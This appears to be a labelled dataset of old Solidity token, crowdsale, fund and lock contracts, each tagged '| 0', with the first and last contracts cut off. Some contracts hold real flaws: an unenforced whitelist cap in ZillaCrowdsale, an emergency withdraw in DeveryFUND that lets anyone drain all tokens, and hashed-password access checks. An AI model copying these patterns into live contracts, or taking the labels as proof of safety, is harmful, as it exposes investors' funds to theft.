event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract ZillaToken is StandardToken, Ownable {
uint256 constant zilla = 1 ether;
string public name = 'Zilla Token';
string public symbol = 'ZLA';
uint public decimals = 18;
uint256 public initialSupply = 60000000 * zilla;
bool public tradeable;
function ZillaToken() public {
totalSupply = initialSupply;
balances[msg.sender] = initialSupply;
tradeable = false;
}
modifier isTradeable() {
require( tradeable == true );
_;
}
function allowTrading() public onlyOwner {
require( tradeable == false );
tradeable = true;
}
function crowdsaleTransfer(address _to, uint256 _value) public onlyOwner returns (bool) {
require( tradeable == false );
return super.transfer(_to, _value);
}
function transfer(address _to, uint256 _value) public isTradeable returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public isTradeable returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public isTradeable returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public isTradeable returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public isTradeable returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract ZillaCrowdsale is Ownable {
using SafeMath for uint256;
event StartCrowdsale();
event FinalizeCrowdsale();
event TokenSold(address recipient, uint eth_amount, uint zla_amount);
uint256 constant presale_eth_to_zilla = 1200;
uint256 constant crowdsale_eth_to_zilla = 750;
ZillaToken public token;
uint256 public zilla_remaining;
address public vault;
enum CrowdsaleState { Waiting, Running, Ended }
CrowdsaleState public state = CrowdsaleState.Waiting;
uint256 public start;
uint256 public unlimited;
uint256 public end;
struct Participant {
bool whitelist;
uint256 remaining;
}
mapping (address => Participant) private participants;
function ZillaCrowdsale() public {
token = new ZillaToken();
zilla_remaining = token.totalSupply();
}
modifier isStarted() {
require( (state == CrowdsaleState.Running) );
_;
}
modifier isRunning() {
require( (state == CrowdsaleState.Running) && (now >= start) && (now < end) );
_;
}
function startCrowdsale(uint256 _start, uint256 _unlimited, uint256 _end, address _vault) public onlyOwner {
require(state == CrowdsaleState.Waiting);
require(_start >= now);
require(_unlimited > _start);
require(_unlimited < _end);
require(_end > _start);
require(_vault != 0x0);
start = _start;
unlimited = _unlimited;
end = _end;
vault = _vault;
state = CrowdsaleState.Running;
StartCrowdsale();
}
function finalizeCrowdsale() public onlyOwner {
require(state == CrowdsaleState.Running);
require(end < now);
_transferTokens( vault, 0, zilla_remaining );
state = CrowdsaleState.Ended;
token.allowTrading();
FinalizeCrowdsale();
}
function setEndDate(uint256 _end) public onlyOwner {
require(state == CrowdsaleState.Running);
require(_end > now);
require(_end > start);
require(_end > end);
end = _end;
}
function setVault(address _vault) public onlyOwner {
require(_vault != 0x0);
vault = _vault;
}
function whitelistAdd(address[] _addresses) public onlyOwner {
for (uint i=0; i<_addresses.length; i++) {
Participant storage p = participants[ _addresses[i] ];
p.whitelist = true;
p.remaining = 15 ether;
}
}
function whitelistRemove(address[] _addresses) public onlyOwner {
for (uint i=0; i<_addresses.length; i++) {
delete participants[ _addresses[i] ];
}
}
function() external payable {
buyTokens(msg.sender);
}
function _allocateTokens(uint256 eth) private view returns(uint256 tokens) {
tokens = crowdsale_eth_to_zilla.mul(eth);
require( zilla_remaining >= tokens );
}
function _allocatePresaleTokens(uint256 eth) private view returns(uint256 tokens) {
tokens = presale_eth_to_zilla.mul(eth);
require( zilla_remaining >= tokens );
}
function _transferTokens(address recipient, uint256 eth, uint256 zla) private {
require( token.crowdsaleTransfer( recipient, zla ) );
zilla_remaining = zilla_remaining.sub( zla );
TokenSold(recipient, eth, zla);
}
function _grantPresaleTokens(address recipient, uint256 eth) private {
uint256 tokens = _allocatePresaleTokens(eth);
_transferTokens( recipient, eth, tokens );
}
function buyTokens(address recipient) public isRunning payable {
Participant storage p = participants[ recipient ];
require( p.whitelist );
if( unlimited > now ) {
require( p.remaining >= msg.value );
p.remaining.sub( msg.value );
}
uint256 tokens = _allocateTokens(msg.value);
require( vault.send(msg.value) );
_transferTokens( recipient, msg.value, tokens );
}
function grantTokens(address recipient, uint256 zla) public isStarted onlyOwner {
require( zilla_remaining >= zla );
_transferTokens( recipient, 0, zla );
}
function grantPresaleTokens(address[] recipients, uint256[] eths) public isStarted onlyOwner {
require( recipients.length == eths.length );
for (uint i=0; i<recipients.length; i++) {
_grantPresaleTokens( recipients[i], eths[i] );
}
}
} | 0 |
pragma solidity ^0.4.19;
contract CrowdsaleParameters {
uint256 public constant generalSaleStartDate = 1524182400;
uint256 public constant generalSaleEndDate = 1529452800;
struct AddressTokenAllocation {
address addr;
uint256 amount;
}
AddressTokenAllocation internal generalSaleWallet = AddressTokenAllocation(0x5aCdaeF4fa410F38bC26003d0F441d99BB19265A, 22800000);
AddressTokenAllocation internal bounty = AddressTokenAllocation(0xc1C77Ff863bdE913DD53fD6cfE2c68Dfd5AE4f7F, 2000000);
AddressTokenAllocation internal partners = AddressTokenAllocation(0x307744026f34015111B04ea4D3A8dB9FdA2650bb, 3200000);
AddressTokenAllocation internal team = AddressTokenAllocation(0xCC4271d219a2c33a92aAcB4C8D010e9FBf664D1c, 12000000);
AddressTokenAllocation internal featureDevelopment = AddressTokenAllocation(0x06281A31e1FfaC1d3877b29150bdBE93073E043B, 0);
}
contract Owned {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function changeOwner(address newOwner) onlyOwner public {
require(newOwner != address(0));
require(newOwner != owner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract SBIToken is Owned, CrowdsaleParameters {
using SafeMath for uint256;
string public standard = 'ERC20/SBI';
string public name = 'Subsoil Blockchain Investitions';
string public symbol = 'SBI';
uint8 public decimals = 18;
mapping (address => uint256) private balances;
mapping (address => mapping (address => uint256)) private allowed;
mapping (address => mapping (address => bool)) private allowanceUsed;
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
event Issuance(uint256 _amount);
event Destruction(uint256 _amount);
event NewSBIToken(address _token);
uint256 public totalSupply = 0;
bool public transfersEnabled = true;
function SBIToken() public {
owner = msg.sender;
mintToken(generalSaleWallet);
mintToken(bounty);
mintToken(partners);
mintToken(team);
emit NewSBIToken(address(this));
}
modifier transfersAllowed {
require(transfersEnabled);
_;
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function approveCrowdsale(address _crowdsaleAddress) external onlyOwner {
approveAllocation(generalSaleWallet, _crowdsaleAddress);
}
function approveAllocation(AddressTokenAllocation tokenAllocation, address _crowdsaleAddress) internal {
uint uintDecimals = decimals;
uint exponent = 10**uintDecimals;
uint amount = tokenAllocation.amount * exponent;
allowed[tokenAllocation.addr][_crowdsaleAddress] = amount;
emit Approval(tokenAllocation.addr, _crowdsaleAddress, amount);
}
function balanceOf(address _address) public constant returns (uint256 balance) {
return balances[_address];
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public transfersAllowed onlyPayloadSize(2*32) returns (bool success) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function mintToken(AddressTokenAllocation tokenAllocation) internal {
uint uintDecimals = decimals;
uint exponent = 10**uintDecimals;
uint mintedAmount = tokenAllocation.amount * exponent;
balances[tokenAllocation.addr] += mintedAmount;
totalSupply += mintedAmount;
emit Issuance(mintedAmount);
emit Transfer(address(this), tokenAllocation.addr, mintedAmount);
}
function approve(address _spender, uint256 _value) public onlyPayloadSize(2*32) returns (bool success) {
require(_value == 0 || allowanceUsed[msg.sender][_spender] == false);
allowed[msg.sender][_spender] = _value;
allowanceUsed[msg.sender][_spender] = false;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public transfersAllowed onlyPayloadSize(3*32) returns (bool success) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function() public {}
function toggleTransfers(bool _enable) external onlyOwner {
transfersEnabled = _enable;
}
}
contract SBITokenCrowdsale is Owned, CrowdsaleParameters {
using SafeMath for uint256;
string public name = 'Subsoil Blockchain Investitions Crowdsale';
SBIToken private token;
address public bank;
address saleWalletAddress;
uint private tokenMultiplier = 10;
uint public totalCollected = 0;
uint public saleStartTimestamp;
uint public saleStopTimestamp;
uint public saleGoal;
bool public goalReached = false;
uint public preicoTokensPerEth = 27314;
uint public tokensPerEth = 10500;
mapping (address => uint256) private investmentRecords;
address crowdsaleAddress = this;
uint256 public constant saleStartDate = 1530403200;
uint256 public constant saleEndDate = 1535759940;
uint256 public constant preSaleStartDate = 1529020800;
uint256 public constant preSaleEndDate = 1530403140;
uint public preSaleAmount = 5800000;
event TokenSale(address indexed tokenReceiver, uint indexed etherAmount, uint indexed tokenAmount, uint tokensPerEther);
event FundTransfer(address indexed from, address indexed to, uint indexed amount);
function SBITokenCrowdsale(address _tokenAddress, address _bankAddress) public {
token = SBIToken(_tokenAddress);
bank = _bankAddress;
tokenMultiplier = tokenMultiplier ** token.decimals();
saleWalletAddress = generalSaleWallet.addr;
saleGoal = generalSaleWallet.amount;
}
function isICOActive() public constant returns (bool active) {
active = ((preSaleStartDate <= now) && (now <= saleEndDate) && (!goalReached));
return active;
}
function setTokenRate(uint rate) public onlyOwner {
tokensPerEth = rate;
}
function processPayment(address investorAddress, uint amount) internal {
require(isICOActive());
assert(msg.value > 0 finney);
emit FundTransfer(investorAddress, address(this), amount);
uint remainingTokenBalance = token.balanceOf(saleWalletAddress) / tokenMultiplier;
uint tokensRate = 0;
uint tokenAmount = 0;
uint acceptedAmount = 0;
uint mainTokens = 0;
uint discountTokens = 0;
if (preSaleStartDate <= now && now <= preSaleEndDate && remainingTokenBalance > 17000000) {
tokensRate = preicoTokensPerEth;
discountTokens = remainingTokenBalance - 17000000;
uint acceptedPreicoAmount = discountTokens * 1e18 / preicoTokensPerEth;
uint acceptedMainAmount = 17000000 * 1e18 / tokensPerEth;
acceptedAmount = acceptedPreicoAmount + acceptedMainAmount;
if (acceptedPreicoAmount < amount) {
mainTokens = (amount - acceptedPreicoAmount) * tokensPerEth / 1e18;
tokenAmount = discountTokens + mainTokens;
} else {
tokenAmount = preicoTokensPerEth * amount / 1e18;
}
} else {
tokensRate = tokensPerEth;
tokenAmount = amount * tokensPerEth / 1e18;
acceptedAmount = remainingTokenBalance * tokensPerEth * 1e18;
}
if (remainingTokenBalance <= tokenAmount) {
tokenAmount = remainingTokenBalance;
goalReached = true;
}
token.transferFrom(saleWalletAddress, investorAddress, tokenAmount * tokenMultiplier);
emit TokenSale(investorAddress, amount, tokenAmount, tokensRate);
if (amount > acceptedAmount) {
uint change = amount - acceptedAmount;
investorAddress.transfer(change);
emit FundTransfer(address(this), investorAddress, change);
}
investmentRecords[investorAddress] += acceptedAmount;
totalCollected += acceptedAmount;
}
function safeWithdrawal() external onlyOwner {
bank.transfer(crowdsaleAddress.balance);
emit FundTransfer(crowdsaleAddress, bank, crowdsaleAddress.balance);
}
function () external payable {
processPayment(msg.sender, msg.value);
}
function kill() external onlyOwner {
require(!isICOActive());
if (crowdsaleAddress.balance > 0) {
revert();
}
if (now < preSaleStartDate) {
selfdestruct(owner);
}
uint featureDevelopmentAmount = token.balanceOf(saleWalletAddress);
token.transferFrom(saleWalletAddress, featureDevelopment.addr, featureDevelopmentAmount);
emit FundTransfer(crowdsaleAddress, msg.sender, crowdsaleAddress.balance);
selfdestruct(owner);
}
} | 0 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = true;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused returns (bool) {
paused = true;
emit Pause();
return true;
}
function unpause() public onlyOwner whenPaused returns (bool) {
paused = false;
emit Unpause();
return true;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
uint256 _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) public onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(0X0, _to, _amount);
return true;
}
function finishMinting() public onlyOwner returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract BlockableToken is Ownable{
event Blocked(address blockedAddress);
event UnBlocked(address unBlockedAddress);
mapping (address => bool) public blockedAddresses;
modifier whenNotBlocked(){
require(!blockedAddresses[msg.sender]);
_;
}
function blockAddress(address toBeBlocked) onlyOwner public {
blockedAddresses[toBeBlocked] = true;
emit Blocked(toBeBlocked);
}
function unBlockAddress(address toBeUnblocked) onlyOwner public {
blockedAddresses[toBeUnblocked] = false;
emit UnBlocked(toBeUnblocked);
}
}
contract StrikeToken is MintableToken, Pausable, BlockableToken{
string public name = "Dimensions Strike Token";
string public symbol = "DST";
uint256 public decimals = 18;
event Ev(string message, address whom, uint256 val);
struct XRec {
bool inList;
address next;
address prev;
uint256 val;
}
struct QueueRecord {
address whom;
uint256 val;
}
address first = 0x0;
address last = 0x0;
mapping (address => XRec) public theList;
QueueRecord[] theQueue;
function add(address whom, uint256 value) internal {
theList[whom] = XRec(true,0x0,last,value);
if (last != 0x0) {
theList[last].next = whom;
} else {
first = whom;
}
last = whom;
emit Ev("add",whom,value);
}
function remove(address whom) internal {
if (first == whom) {
first = theList[whom].next;
theList[whom] = XRec(false,0x0,0x0,0);
return;
}
address next = theList[whom].next;
address prev = theList[whom].prev;
if (prev != 0x0) {
theList[prev].next = next;
}
if (next != 0x0) {
theList[next].prev = prev;
}
theList[whom] =XRec(false,0x0,0x0,0);
emit Ev("remove",whom,0);
}
function update(address whom, uint256 value) internal {
if (value != 0) {
if (!theList[whom].inList) {
add(whom,value);
} else {
theList[whom].val = value;
emit Ev("update",whom,value);
}
return;
}
if (theList[whom].inList) {
remove(whom);
}
}
function transfer(address _to, uint _value) public whenNotPaused whenNotBlocked returns (bool) {
bool result = super.transfer(_to, _value);
update(msg.sender,balances[msg.sender]);
update(_to,balances[_to]);
return result;
}
function transferFrom(address _from, address _to, uint _value) public whenNotPaused whenNotBlocked returns (bool) {
bool result = super.transferFrom(_from, _to, _value);
update(_from,balances[_from]);
update(_to,balances[_to]);
return result;
}
function mint(address _to, uint256 _amount) public onlyOwner canMint returns (bool) {
bool result = super.mint(_to,_amount);
update(_to,balances[_to]);
return result;
}
constructor() public{
owner = msg.sender;
}
function changeOwner(address newOwner) public onlyOwner {
owner = newOwner;
}
}
contract StrikeTokenCrowdsale is Ownable, Pausable {
using SafeMath for uint256;
StrikeToken public token = new StrikeToken();
uint256 public startTimestamp = 1575158400;
uint256 public endTimestamp = 1577750400;
uint256 etherToWei = 10**18;
address public hardwareWallet = 0xDe3A91E42E9F6955ce1a9eDb23Be4aBf8d2eb08B;
address public restrictedWallet = 0xDe3A91E42E9F6955ce1a9eDb23Be4aBf8d2eb08B;
address public additionalTokensFromCommonPoolWallet = 0xDe3A91E42E9F6955ce1a9eDb23Be4aBf8d2eb08B;
mapping (address => uint256) public deposits;
uint256 public numberOfPurchasers;
uint256[] public bonus = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0];
uint256 public rate = 4800;
uint256 public weiRaised = 0;
uint256 public tokensSold = 0;
uint256 public advisorTokensGranted = 0;
uint256 public commonPoolTokensGranted = 0;
uint256 public minContribution = 100 * 1 finney;
uint256 public hardCapEther = 30000;
uint256 hardcap = hardCapEther * etherToWei;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event MainSaleClosed();
uint256 public weiRaisedInPresale = 0 ether;
bool private frozen = false;
function freeze() public onlyOwner{
frozen = true;
}
function unfreeze() public onlyOwner{
frozen = false;
}
modifier whenNotFrozen() {
require(!frozen);
_;
}
modifier whenFrozen() {
require(frozen);
_;
}
function setHardwareWallet(address _wallet) public onlyOwner {
require(_wallet != 0x0);
hardwareWallet = _wallet;
}
function setRestrictedWallet(address _restrictedWallet) public onlyOwner {
require(_restrictedWallet != 0x0);
restrictedWallet = _restrictedWallet;
}
function setAdditionalTokensFromCommonPoolWallet(address _wallet) public onlyOwner {
require(_wallet != 0x0);
additionalTokensFromCommonPoolWallet = _wallet;
}
function setHardCapEther(uint256 newEtherAmt) public onlyOwner{
require(newEtherAmt > 0);
hardCapEther = newEtherAmt;
hardcap = hardCapEther * etherToWei;
}
constructor() public {
require(startTimestamp >= now);
require(endTimestamp >= startTimestamp);
}
modifier validPurchase {
require(now >= startTimestamp);
require(now < endTimestamp);
require(msg.value >= minContribution);
require(frozen == false);
_;
}
function hasEnded() public constant returns (bool) {
if (now > endTimestamp)
return true;
return false;
}
function buyTokens(address beneficiary) public payable validPurchase {
require(beneficiary != 0x0);
uint256 weiAmount = msg.value;
uint256 weiRaisedSoFar = weiRaised.add(weiAmount);
require(weiRaisedSoFar + weiRaisedInPresale <= hardcap);
if (deposits[msg.sender] == 0) {
numberOfPurchasers++;
}
deposits[msg.sender] = weiAmount.add(deposits[msg.sender]);
uint256 daysInSale = (now - startTimestamp) / (1 days);
uint256 thisBonus = 0;
if(daysInSale < 29 ){
thisBonus = bonus[daysInSale];
}
uint256 tokens = weiAmount.mul(rate);
uint256 extraBonus = tokens.mul(thisBonus);
extraBonus = extraBonus.div(100);
tokens = tokens.add(extraBonus);
uint256 finalTokenCount;
finalTokenCount = tokens.add(tokensSold);
weiRaised = weiRaisedSoFar;
tokensSold = finalTokenCount;
token.mint(beneficiary, tokens);
hardwareWallet.transfer(msg.value);
emit TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
}
function grantTokensAdvisors(address beneficiary,uint256 dstTokenCount) public onlyOwner{
dstTokenCount = dstTokenCount * etherToWei;
advisorTokensGranted = advisorTokensGranted.add(dstTokenCount);
token.mint(beneficiary,dstTokenCount);
}
function grantTokensCommonPool(address beneficiary,uint256 dstTokenCount) public onlyOwner{
dstTokenCount = dstTokenCount * etherToWei;
commonPoolTokensGranted = commonPoolTokensGranted.add(dstTokenCount);
token.mint(beneficiary,dstTokenCount);
}
function finishMinting() public onlyOwner returns(bool){
require(hasEnded());
uint issuedTokenSupply = token.totalSupply();
uint publicTokens = issuedTokenSupply-advisorTokensGranted;
if(publicTokens>60*advisorTokensGranted/40 ){
uint restrictedTokens=(publicTokens)*40/60-advisorTokensGranted;
token.mint(restrictedWallet, restrictedTokens);
advisorTokensGranted=advisorTokensGranted+restrictedTokens;
}
else if(publicTokens<60*advisorTokensGranted/40){
uint256 deltaCommonPool=advisorTokensGranted*60/40-publicTokens;
token.mint(additionalTokensFromCommonPoolWallet,deltaCommonPool);
}
token.finishMinting();
token.transferOwnership(owner);
emit MainSaleClosed();
return true;
}
function () payable public {
buyTokens(msg.sender);
}
function setRate(uint256 amount) onlyOwner public {
require(amount>=0);
rate = amount;
}
function setBonus(uint256 [] amounts) onlyOwner public {
require( amounts.length > 30 );
bonus = amounts;
}
function setWeiRaisedInPresale(uint256 amount) onlyOwner public {
require(amount>=0);
weiRaisedInPresale = amount;
}
function setEndTimeStamp(uint256 end) onlyOwner public {
require(end>now);
endTimestamp = end;
}
function setStartTimeStamp(uint256 start) onlyOwner public {
startTimestamp = start;
}
function pauseTrading() onlyOwner public{
token.pause();
}
function startTrading() onlyOwner public{
token.unpause();
}
function smartBlockAddress(address toBeBlocked) onlyOwner public{
token.blockAddress(toBeBlocked);
}
function smartUnBlockAddress(address toBeUnblocked) onlyOwner public{
token.unBlockAddress(toBeUnblocked);
}
function changeTokenOwner(address newOwner) public onlyOwner {
require(hasEnded());
token.changeOwner(newOwner);
}
function bulkGrantTokenAdvisors(address [] beneficiaries,uint256 [] granttokencounts) public onlyOwner{
require( beneficiaries.length == granttokencounts.length);
for (uint256 i=0; i<beneficiaries.length; i++) {
grantTokensAdvisors(beneficiaries[i],granttokencounts[i]);
}
}
function bulkGrantTokenCommonPool(address [] beneficiaries,uint256 [] granttokencounts) public onlyOwner{
require( beneficiaries.length == granttokencounts.length);
for (uint256 i=0; i<beneficiaries.length; i++) {
grantTokensCommonPool(beneficiaries[i],granttokencounts[i]);
}
}
} | 0 |
pragma solidity ^0.4.13;
contract ERC20 {
function transfer(address _to, uint256 _value) returns (bool success);
function balanceOf(address _owner) constant returns (uint256 balance);
}
contract DeveryFUND {
mapping (address => uint256) public balances;
bool public bought_tokens = false;
uint256 public contract_eth_value;
uint256 constant public min_amount = 20 ether;
uint256 constant public max_amount = 1100 ether;
bytes32 hash_pwd = 0xe1ccf0005757f598f4ff97410bc0d3ff7248f92b17ed522a0f649dbde89dfc02;
address public sale;
ERC20 public token;
address constant public creator = 0xEE06BdDafFA56a303718DE53A5bc347EfbE4C68f;
uint256 public buy_block;
function withdraw() {
require(bought_tokens);
uint256 contract_token_balance = token.balanceOf(address(this));
require(contract_token_balance != 0);
uint256 tokens_to_withdraw = (balances[msg.sender] * contract_token_balance) / contract_eth_value;
contract_eth_value -= balances[msg.sender];
balances[msg.sender] = 0;
uint256 fee = tokens_to_withdraw / 100;
require(token.transfer(creator, fee));
require(token.transfer(msg.sender, tokens_to_withdraw - fee));
}
function refund_me() {
require(!bought_tokens);
uint256 eth_to_withdraw = balances[msg.sender];
balances[msg.sender] = 0;
msg.sender.transfer(eth_to_withdraw);
}
function buy_the_tokens(string _password) {
require(this.balance >= min_amount);
require(!bought_tokens);
require(sale != 0x0);
require(msg.sender == creator || hash_pwd == keccak256(_password));
buy_block = block.number;
bought_tokens = true;
contract_eth_value = this.balance;
sale.transfer(contract_eth_value);
}
function set_sale_address(address _sale, string _password) {
require(msg.sender == creator || hash_pwd == keccak256(_password));
require(sale == 0x0);
require(!bought_tokens);
sale = _sale;
}
function set_token_address(address _token, string _password) {
require(msg.sender == creator || hash_pwd == keccak256(_password));
token = ERC20(_token);
}
function emergy_withdraw(address _token) {
require(block.number >= (buy_block + 43953));
ERC20 token = ERC20(_token);
uint256 contract_token_balance = token.balanceOf(address(this));
require (contract_token_balance != 0);
balances[msg.sender] = 0;
require(token.transfer(msg.sender, contract_token_balance));
}
function () payable {
require(!bought_tokens);
require(this.balance <= max_amount);
balances[msg.sender] += msg.value;
}
} | 0 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 28944000;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0xEF9CC5403Bd336815D2F8CB372dB36560d1e427b;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.4;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
